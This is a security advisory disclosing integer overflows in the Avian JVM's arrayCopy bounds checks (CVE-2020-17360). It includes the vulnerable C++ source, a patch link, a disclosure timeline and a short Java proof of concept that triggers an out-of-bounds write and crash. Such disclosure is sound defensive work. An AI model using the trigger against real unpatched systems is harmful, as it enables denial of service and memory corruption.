Vulnerability title: Avian JVM vm::arrayCopy() Multiple Integer Overflows Author: Pietro Oliva CVE: CVE-2020-17360 Vendor: ReadyTalk Product: Avian JVM Affected version: 1.2.0 Description: The issue is located in the vm::arrayCopy method defined in classpath-common.h, where multiple boundary checks are performed to prevent out-of-bounds memory read/write. Two of those boundary checks contain an integer overflow which leads to those same checks being bypassed and out-of-bounds read/write. Impact: Attackers could exploit this vulnerability to read/write arbitrary content in the JVM memory. This could in turn result in denial of service, memory disclosure, or arbitrary code execution in the context of the JVM. Exploitation: The following PoC would trigger an out-of-bounds write and crash of Avian JVM: import java.lang.*; public class poc { public static void main(String[] args) { byte[] src = "This is src".getBytes(); byte[] dst = "This is dst".getBytes(); // Triggering out-of-bounds write via integer overflow on System.arraycopy System.arraycopy(src, 0, dst, 0x7fffffff, 1); } } Evidence: void arrayCopy(Thread* t, object src, int32_t srcOffset, object dst, int32_t dstOffset, int32_t length) { if (LIKELY(src and dst)) { if (LIKELY(compatibleArrayTypes( t, objectClass(t, src), objectClass(t, dst)))) { unsigned elementSize = objectClass(t, src)->arrayElementSize(); if (LIKELY(elementSize)) { intptr_t sl = fieldAtOffset(src, BytesPerWord); intptr_t dl = fieldAtOffset(dst, BytesPerWord); if (LIKELY(length > 0)) { if (LIKELY(srcOffset >= 0 and srcOffset + length <= sl // integer OF /*integer overflow*/ and dstOffset >= 0 and dstOffset + length <= dl)) { uint8_t* sbody = &fieldAtOffset(src, ArrayBody); uint8_t* dbody = &fieldAtOffset(dst, ArrayBody); if (src == dst) { memmove(dbody + (dstOffset * elementSize), sbody + (srcOffset * elementSize), length * elementSize); } else { memcpy(dbody + (dstOffset * elementSize), sbody + (srcOffset * elementSize), length * elementSize); } if (objectClass(t, dst)->objectMask()) { mark(t, dst, ArrayBody + (dstOffset * BytesPerWord), length); } return; } else { throwNew(t, GcIndexOutOfBoundsException::Type); } } else { return; } } } } else { throwNew(t, GcNullPointerException::Type); return; } throwNew(t, GcArrayStoreException::Type); } As can be seen in the two lines commented above, offset+length can overflow and the size checks would be bypassed. Overflowing srcOffset+length would trigger an out-of-bounds read in either memmove or memcpy, while overflowing dstOffset + length would trigger an out-of-bounds write in the same methods. Mitigating factors: Since both offsets and length need to be positive integers, there is a limited range of memory where an attacker could read or write as a result of this vulnerability. Remediation: A patch has been merged in the master branch: https://github.com/ReadyTalk/avian/pull/571 Disclosure timeline: 3rd August 2020 - Vulnerability reported. 3rd August 2020 - Vulnerability acknowledged. 4th August 2020 - CVE request sent to Mitre. 5th August 2020 - CVE assigned. 10th August 2020 - Proposed patch via pull request. 10th August 2020 - Patch approved and merged after changes. 10th August 2020 - Vulnerability details shared on fulldisclosure.